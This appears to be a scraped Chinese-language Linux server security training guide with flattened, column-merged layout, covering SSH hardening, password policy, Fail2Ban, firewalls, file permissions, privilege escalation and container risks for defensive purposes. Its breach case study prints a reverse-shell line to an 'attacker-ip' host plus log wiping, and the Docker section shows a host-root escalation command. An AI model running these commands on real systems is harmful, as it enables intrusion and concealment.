还剩28页未读,继续阅读
本资源只提供10页预览,全部文档请下载后查看!喜欢就下载吧,查找使用更方便
文本内容:
服务器安全防御指南Linux第一章安全概述Linux为什么Linux安全至关重要?尽管Linux以安全著称,但面临的威胁依然严峻作为支撑全球大部分互联网基础设施的操作系统,Linux服务器是黑客的首要目标一旦被攻破,不仅导致数据泄露,还可能被用作攻击其他目标的跳板服务器被攻击的真实案例Linux实验室服务器被挖矿事件黑客利用默认配置入侵2022年某高校实验室服务器被植入挖攻击者扫描发现服务器SSH端口开矿程序,CPU使用率持续100%攻放,且允许root直接登录通过字典击者通过弱口令猜测成功进入系统,攻击成功猜测简单密码,获取完全控并利用内核漏洞获取了root权限,随制权原因是管理员未更改默认安全后安装了隐蔽的挖矿软件配置,埋下安全隐患被攻陷后的风险与影响安全的基本原则Linux最小权限原则防御深度策略持续监控与及时响应为用户、程序和系统服务只分配完成任务所构建多层次防御体系,包括网络防火墙、主需的最小权限避免使用root账户进行日常机防火墙、访问控制、入侵检测等单一防操作,限制sudo权限,减少潜在攻击面御措施被突破时,其他层次仍能提供保护第二章用户与权限管理基础用户的危险普通用户创建与权限配置root sudo性权限分配合理配置sudoers文件,允许授权用户执行特定的root用户拥有系统的完全为不同任务创建专用的普管理命令,而不是授予全控制权,一旦被黑客获通用户,严格遵循职责分部超级用户权限定期审取,整个系统将完全暴离原则,确保每个用户只露应当严格限制root登拥有完成其任务所需的最计sudo日志,监控特权命令使用情况录,特别是远程登录,转小权限集合而使用普通用户+sudo进行管理禁用密码登录root在Linux服务器中,允许root用户直接通过密码远程登录是一个严重的安全隐患这为黑客提供了直接攻击系统最高权限账户的机会通过修改SSH配置文件,可以有效禁止这种不安全的登录方式#编辑SSH配置文件sudo vim/etc/ssh/sshd_config#修改或添加以下行PermitRootLogin no#重启SSH服务使配置生效sudo systemctlrestart sshd在禁用root登录之前,请确保已创建具有sudo权限的普通用户账户,否则可能导致无法远程管理服务器!此配置修改后,所有尝试直接以root身份登录的SSH连接将被自动拒绝,即使提供了正确的密码这大大降低了服务器被暴力破解的风险创建安全的普通用户创建新用户分配sudo权限验证配置#创建新用户sudo adduser#将用户添加到sudo组sudo usermod-#切换到新用户su-security_admin#security_admin#设置强密码#系统会aG sudosecurity_admin#或编辑测试sudo权限sudo ls-la/root#检查提示输入密码sudoers文件sudo visudo#添加行用户组groups:security_admin ALL=ALL:ALL ALL避免使用常见用户名如admin、test、user等,这些是黑客首先尝试的目标这允许用户执行需要特权的命令,同时保留操作日志确保用户能正常使用sudo命令,并验证权限配置正确创建安全的普通用户是服务器安全的基础通过合理分配权限,可以在保证管理便捷性的同时,最大限度减少安全风险密码复杂度策略配置弱密码是服务器被入侵的主要原因之一配置强密码策略可以有效防止简单密码的使用,提高系统安全性Linux系统可以通过PAM模块实现密码复杂度控制#安装密码质量检查模块sudo apt install libpam-pwquality#编辑PAM配置文件sudo vim/etc/pam.d/common-password找到包含pam_pwquality.so的行,修改或添加以下参数password requisitepam_pwquality.so retry=3minlen=12difok=3ucredit=-1lcredit=-1dcredit=-1ocredit=-1reject_username enforce_for_root参数说明•retry=3允许重试3次•minlen=12最小密码长度12个字符•difok=3与旧密码至少有3个字符不同•ucredit=-1至少包含1个大写字母•lcredit=-1至少包含1个小写字母•dcredit=-1至少包含1个数字•ocredit=-1至少包含1个特殊字符•reject_username不允许密码包含用户名密码重试限制与账户锁定pam_faillock模块介绍配置步骤pam_faillock是Linux PAM的一个模块,用于跟踪失败的登录尝试,并在超过设定阈值时锁定账户这#安装faillock(部分发行版需要)sudo apt是防止暴力破解攻击的有效手段,可以显著提高系统install libpam-faillock#编辑PAM配置的安全性sudo vim/etc/pam.d/common-auth#添加:auth requiredpam_faillock.so preauthsilentdeny=5unlock_time=1800auth[default=die]pam_faillock.soauthfailauth sufficientpam_faillock.soauthsucc管理锁定账户#查看失败登录记录sudo faillock--user username#解锁被锁定用户sudo faillock--userusername--reset这种配置使系统在用户连续5次登录失败后锁定账户30分钟1800秒,有效防止暴力破解第三章安全加固SSH提高安全性的关键步骤SSH•修改默认端口22为非标准端口如2222或更高•禁用密码认证,启用更安全的密钥认证•限制允许登录的用户,禁止root直接登录•配置防火墙,只允许特定IP地址连接SSHSSHSecure Shell是Linux服务器远程管理的主要工具,也是黑客首要•设置SSH连接超时,避免闲置连接的攻击目标默认情况下,SSH服务在22端口监听,这是众所周知的,•使用Fail2Ban等工具防止暴力破解因此成为自动化扫描和攻击的首选这些措施共同构成了多层次的SSH安全防御体系,能有效降低SSH服务被攻击的风险禁用密码登录,启用密钥认证生成SSH密钥对#在本地计算机生成密钥对ssh-keygen-t ed25519-C安全访问服务器#密钥默认保存在:#~/.ssh/id_ed25519私钥#~/.ssh/id_ed
25519.pub公钥私钥必须妥善保管,不要分享给他人建议使用密码保护私钥部署公钥到服务器#复制公钥到服务器ssh-copy-id-i~/.ssh/id_ed
25519.pub user@服务器IP#或手动添加到服务器#在服务器上:mkdir-p~/.sshecho你的公钥内容~/.ssh/authorized_keyschmod700~/.sshchmod600~/.ssh/authorized_keys禁用密码认证#编辑SSH配置文件sudo vim/etc/ssh/sshd_config#修改以下设置:PasswordAuthentication noChallengeResponseAuthenticationnoUsePAM no#重启SSH服务sudo systemctlrestartsshd此配置生效后,只有持有私钥的用户才能登录系统防暴力破解工具Fail2BanFail2Ban工作原理Fail2Ban通过监控系统日志文件(如/var/log/auth.log),检测失败的登录尝试当特定IP地址在短时间内产生多次失败登录尝试时,Fail2Ban会通过防火墙规则临时封禁该IP地址,有效防止暴力破解攻击#安装Fail2Bansudo apt install fail2ban#创建本地配置文件sudo cp/etc/fail2ban/jail.conf/etc/fail2ban/jail.localsudo vim/etc/fail2ban/jail.local配置SSH防护[sshd]enabled=trueport=2222filter=sshdlogpath=/var/log/auth.logmaxretry=3bantime=3600findtime=600此配置表示如果某IP在10分钟内有3次失败的SSH登录尝试,将被封禁1小时服务器安全日志显示,启用Fail2Ban后,恶意登录尝试减少了95%以上防火墙基础与配置UFW简介基本配置启用防火墙UFW UncomplicatedFirewall是Ubuntu系统默认的防火墙配置工具,提供简单易用的命令行界面,是iptables的前端程#安装UFWsudo aptinstall ufw#设置默认策略sudo#启用UFWsudo ufwenable#检查状态sudo ufw序它能有效控制进出服务器的网络流量,是服务器安全的重ufw defaultdeny incomingsudo ufw defaultallow statusverbose#查看规则编号sudo ufwstatus要一环outgoing#允许SSH假设端口已修改为2222sudo ufwnumbered#删除规则sudo ufwdelete[规则编号]allow2222/tcp#允许Web服务sudoufwallow80/tcpsudo ufwallow443/tcp记住启用防火墙前确保已添加SSH访问规则,否则可能被锁定在系统外!禁用响应防止探测PingICMP协议(尤其是ping命令)常被攻击者用来探测服务器是否在线以及收集网络信息通过禁用ping响应,可以增加服务器的隐蔽性,使攻击者更难发现和定位服务器临时禁用Ping响应#临时禁用重启后失效sudo sysctl-w net.ipv
4.icmp_echo_ignore_all=1永久禁用Ping响应#编辑sysctl配置文件sudo vim/etc/sysctl.conf#添加或修改以下行net.ipv
4.icmp_echo_ignore_all=1#应用更改sudo sysctl-p使用iptables禁用Ping#通过iptables禁用pingsudo iptables-A INPUT-p icmp--icmp-type echo-request-j DROP#保存iptables规则Debian/Ubuntusudo aptinstall iptables-persistentsudo netfilter-persistent save第四章文件权限与安全Linux文件权限模型常见权限错误Linux使用用户u、组g和其他人最危险的配置是赋予过大权限,如o三级权限模型,每级包含读r、chmod777(所有人可读写执行)或写w和执行x权限使用数字表示chmod666(所有人可读写)这些法r=4,w=2,x=1,例如chmod配置可能导致未授权访问、数据泄露644设置为rw-r--r--权限或恶意代码执行查找危险权限文件#查找世界可写文件find/-type f-perm-002-not-path/proc/*-ls#查找无主文件find/-nouser-o-nogroup-lsSUID与SGID权限风险什么是SUID/SGID位SUID(Set UserID)和SGID(Set GroupID)是Linux特殊权限位,允许用户以文件所有者或所属组的身份执行程序在文件权限中表现为s标志,如-rwsr-xr-xSUID/SGID在某些场景下是必要的,例如passwd命令需要以root身份修改/etc/shadow文件但不当设置的SUID/SGID权限会导致严重的安全问题关键配置文件保护用户账户文件SSH配置文件修复不正确权限#/etc/passwd-用户账户信息-rw-r--r--#/etc/ssh/sshd_config-rw-r--r--1#修复/etc/shadow权限sudo chmod6401root root#正确权限:644#root root#正确权限:644#私钥/etc/shadowsudo chownroot:shadow/etc/shadow-加密密码-rw-r-----1~/.ssh/id_*-rw-------1user user#/etc/shadow#修复SSH私钥权限chmod600root shadow#正确权限:640#正确权限:600#公钥~/.ssh/*.pub-rw-~/.ssh/id_rsachmod600/etc/group-组信息-rw-r--r--1root r--r--1user user#正确权限:644#~/.ssh/id_ed25519#修复~/.ssh目录权限root#正确权限:644authorized_keys-rw-------1user chmod700~/.sshuser#正确权限:600定期使用自动化脚本检查关键文件权限,确保它们这些文件包含系统用户信息,必须严格保护不正保持正确的设置确的权限可能导致密码泄露或身份冒用SSH密钥文件权限过大会被SSH客户端拒绝使用,这是一种安全保护机制日志审计与异常检测重要日志文件位置•/var/log/auth.log-认证相关日志•/var/log/secure-安全相关日志CentOS•/var/log/syslog-系统日志•/var/log/messages-系统消息•/var/log/httpd/-Web服务器日志•/var/log/mysql/-数据库日志•/var/log/fail2ban.log-Fail2Ban日志定期检查这些日志是发现系统异常和潜在安全问题的关键步骤日志分析工具#安装logwatchsudo aptinstall logwatch#生成日报告sudo logwatch--detail high--mailto your@email.com#安装auditd审计系统sudo aptinstall auditd#配置监控文件访问sudo auditctl-w/etc/passwd-p rwxa-k passwd_changes第五章特权提升攻击与防护Linux特权提升Privilege Escalation是攻击者获取系统更高权限的过程,从普通用户权限提升到root权限了解攻击者的手法,才能更好地防御系统1横向特权提升攻击者在同级别权限内获取其他用户的访问权限,如利用可读的配置文件中存储的凭证来访问不同的服务2纵向特权提升攻击者从低权限用户提升到更高权限,最终目标通常是获取root权限主要通过系统漏洞、配置错误、可利用的SUID程序等途径实现3常见提权途径•内核漏洞利用(如脏牛Dirty COW漏洞)•错误配置的sudo权限•可被利用的SUID/SGID程序•错误的文件权限设置•明文存储的凭证•不安全的PATH配置利用内核漏洞提权识别系统内核版本#显示内核版本uname-a#查看发行版详细信息cat/etc/os-releaselsb_release-a#检查已安装的内核安全更新apt list--installed|grep linux-imageyum listinstalled|grep kernel了解当前内核版本是评估系统漏洞风险的第一步过时的内核版本通常包含多个已知的安全漏洞内核漏洞防护保持系统和内核更新sudo aptupdatesudo aptupgrade•监控安全公告订阅发行版安全邮件列表使用自动安全更新aptinstall unattended-upgrades•配置内核保护机制sysctl安全设置•使用SELinux或AppArmor限制进程权限•实施定期漏洞扫描和渗透测试环境变量与路径注入攻击PATH变量的安全隐患安全PATH配置PATH环境变量决定了命令搜索的目录顺序如果将.(当安全的PATH配置应该只包含受信任的系统目录,且将系统前目录)或用户可写目录放在PATH的前面,攻击者可以在目录放在前面修改/etc/profile或~/.bashrc确保全局或这些目录中放置同名恶意程序,当用户执行命令时会优先用户级PATH设置安全执行这些恶意程序#安全的PATH设置#检查当前PATHecho$PATH#危险的PATH配置PATH=/usr/local/sbin:/usr/local/bin:/usr/sbPATH=.:$PATH#当前目录在前PATH=/tmp:$PATH in:/usr/bin:/sbin:/bin#在.bashrc中设置#公共可写目录在前export PATH=/usr/local/bin:/usr/bin:/bin脚本安全编写规范编写脚本时应明确指定命令的完整路径,避免依赖PATH环境变量,特别是在需要特权执行的脚本中#不安全的脚本命令rm-rf/tmp/old_logs#安全的脚本命令/bin/rm-rf/tmp/old_logs使用set-e确保脚本在任何命令失败时立即退出,防止部分执行导致的安全问题与容器安全风险DockerDocker组权限风险将普通用户添加到docker组实际上相当于给予了root权限,因为docker组成员可以创建挂载宿主机根目录的容器,从而完全控制宿主机#危险操作普通用户在docker组内sudo usermod-aG dockeruser#提权示例(docker组成员可执行)docker run-v/:/host-it ubuntuchroot/host上述命令允许用户通过Docker容器访问宿主机的整个文件系统,等同于root权限Docker安全最佳实践•限制能运行docker命令的用户,避免将普通用户加入docker组•使用rootless模式运行Docker•容器内使用非root用户运行应用•限制容器资源使用(CPU、内存、网络)•定期更新Docker引擎和基础镜像扫描镜像漏洞docker scanimage-name•使用--read-only参数运行容器•实施容器网络隔离策略第六章定时任务与自动化安全cron定时任务安全隐患检查和限制cron任务cron任务通常以创建者的权限运行,包括root用户的cron任务不安全的cron脚本可能被攻击者利用来执#查看当前用户的cron任务crontab-l#查看系行恶意代码或提升权限常见风险包括脚本中的命统cron任务ls-la/etc/cron*cat令注入漏洞、脚本权限设置不当、使用相对路径导致/etc/crontabls-la/var/spool/cron/#限的路径劫持等制cron使用echo root/etc/cron.allow通过创建/etc/cron.allow文件,可以限制只有指定用户才能创建cron任务,提高系统安全性防止恶意定时任务植入为cron脚本设置正确的权限chmod700•使用绝对路径指定命令验证脚本完整性sha256sum•监控cron配置文件变更•定期审计系统中的定时任务•使用版本控制管理自动化脚本与安全模块SELinux AppArmorSELinux基本概念SELinux Security-Enhanced Linux是由美国国家安全局开发的Linux内核安全模块,提供强制访问控制MAC机制,限制进程只能访问明确允许的资源,即使进程被攻破也无法访问未授权资源#查看SELinux状态getenforce#设置SELinux模式setenforce1#强制模式setenforce0#宽容模式#配置SELinuxvim/etc/selinux/config#SELINUX=enforcing|permissive|disabledAppArmor简介AppArmor是另一种Linux安全模块,主要用于Ubuntu等发行版它基于路径名而非安全上下文标签,配置相对简单,但灵活性稍低AppArmor通过配置文件限制程序的资源访问权限#查看AppArmor状态aa-status#加载配置文件apparmor_parser-r/etc/apparmor.d/profile#切换模式aa-enforce/path/to/profile#强制模式aa-complain/path/to/profile#宽容模式第七章安全加固工具与资源Lynis安全审计工具rootkit检测工具安全学习资源Lynis是开源的安全审计工具,能自动chkrootkit和rkhunter是两款流行的•CIS Centerfor Internet扫描系统配置,检测安全问题并提供加rootkit检测工具,能识别系统中潜在的Security基准指南固建议它可以检查系统设置、软件配后门程序和恶意软件定期运行这些工•NIST NationalInstitute of置、访问控制和防火墙规则等多个方具有助于及早发现系统入侵迹象Standards andTechnology安面全出版物#安装chkrootkitsudo apt•OWASP OpenWeb Application#安装Lynissudo aptinstall installchkrootkitsudoSecurity Project安全指南lynis#运行全面系统审计sudo chkrootkit#安装rkhuntersudo•Red Hat/CentOS安全指南lynis auditsystem#查看报告aptinstallrkhuntersudo•Ubuntu安全手册less/var/log/lynis.log rkhunter--updatesudorkhunter--check•Linux安全社区LWN.net,LinuxSecurity.com真实案例分析服务器被攻破全过程1初始访问攻击者通过自动化工具扫描互联网上的SSH服务,发现目标服务器的22端口开放且允许密码认证使用字典攻击成功猜测出弱密码admin123,获得了普通用户webadmin的访问权限2信息收集攻击者登录后执行了系统信息收集uname-a显示内核版本较旧;sudo-l发现用户可以无密码执行某些命令;find/-perm-40002/dev/null查找了所有SUID文件3权限提升攻击者发现webadmin用户可以以root身份运行特定脚本sudo/usr/local/bin/backup.sh查看脚本内容后发现可写入,修改添加了恶意命令echo bash-i/dev/tcp/attacker-ip/444401/usr/local/bin/backup.sh,执行后获得root权限4持久化攻击者植入后门创建隐藏用户、安装SSH密钥、添加cron任务以保持访问同时清除日志echo/var/log/auth.log,history-c删除命令历史,掩盖入侵痕迹防御措施该案例中,实施SSH密钥认证、限制sudo权限、定期更新系统以及使用安全审计工具本可以阻止此次入侵安全意识和基本防护措施的缺失是造成入侵成功的主要原因安全意识与日常运维建议定期更新与补丁管理备份策略与灾难恢复安全更新是防御已知漏洞的最基本方法建立遵循3-2-1备份原则至少3份备份,存储在2定期更新计划,包括操作系统和应用程序对种不同介质上,1份异地存储定期测试备份于生产服务器,先在测试环境验证更新,确保恢复流程,确保在紧急情况下能快速恢复系不会影响业务功能统#自动安全更新配置Ubuntusudo apt#简单的备份脚本示例rsync-avz--installunattended-upgradessudo delete/path/to/sourcedpkg-reconfigure unattended-user@remote:/path/to/destinationupgrades监控系统与异常告警实施全面的监控系统,监控CPU、内存、磁盘使用率、网络流量等指标设置合理的告警阈值,确保异常情况能及时通知管理员•系统监控工具Nagios、Zabbix、Prometheus•日志管理ELK StackElasticsearch,Logstash,Kibana•入侵检测OSSEC、Wazuh、Suricata课后实操练习建议搭建测试环境使用虚拟机或容器技术搭建专用的安全测试环境,实践本课程中学到的安全配置方法建议使用VirtualBox、VMware或Docker创建多个虚拟机,模拟真实网络环境•配置一台标准Linux服务器•实施用户权限管理•配置SSH安全设置•设置防火墙规则•实现自动化安全检查模拟攻击与防御在安全的测试环境中,尝试模拟常见的攻击手段,并验证防御措施的有效性这种实践能帮助您更深入理解安全威胁和防护机制•尝试SSH暴力破解,验证Fail2Ban效果•寻找具有SUID权限的文件,尝试利用•检查系统配置漏洞总结与展望持续的安全过程从基础做起Linux安全不是一次性的配置,而是持续的过良好的安全实践始于基础配置正确的用户权程随着新威胁的出现和技术的发展,安全措限管理、强密码策略、SSH安全配置和定期更施需要不断更新和完善建立定期安全审计和新是保障系统安全的第一道防线更新机制至关重要未来趋势与挑战逐步深入容器化、云原生技术带来新的安全挑战;人工随着基础知识的掌握,可以进一步学习高级安智能在攻防两方面的应用;零信任安全模型的全技术,如SELinux/AppArmor配置、入侵兴起;自动化安全运维的发展了解这些趋势检测系统、安全自动化等持续学习是安全专有助于做好长期安全规划业人员的必备素质致谢与问答感谢您参与本次Linux安全培训希望这些内容能帮助您建立更安全的Linux系统,保护您的服务器免联系方式与后续支持受网络威胁•安全咨询邮箱security@example.com•技术支持热线+861012345678•安全社区linux-security-forum.example.com•线上培训资源security-training.example.com推荐学习路径
1.Linux系统管理基础
2.网络安全基础知识
3.Linux服务器安全配置(本课程)
4.安全工具使用与自动化
5.安全事件响应与分析
6.渗透测试与红队技术。
个人认证
优秀文档
获得点赞 0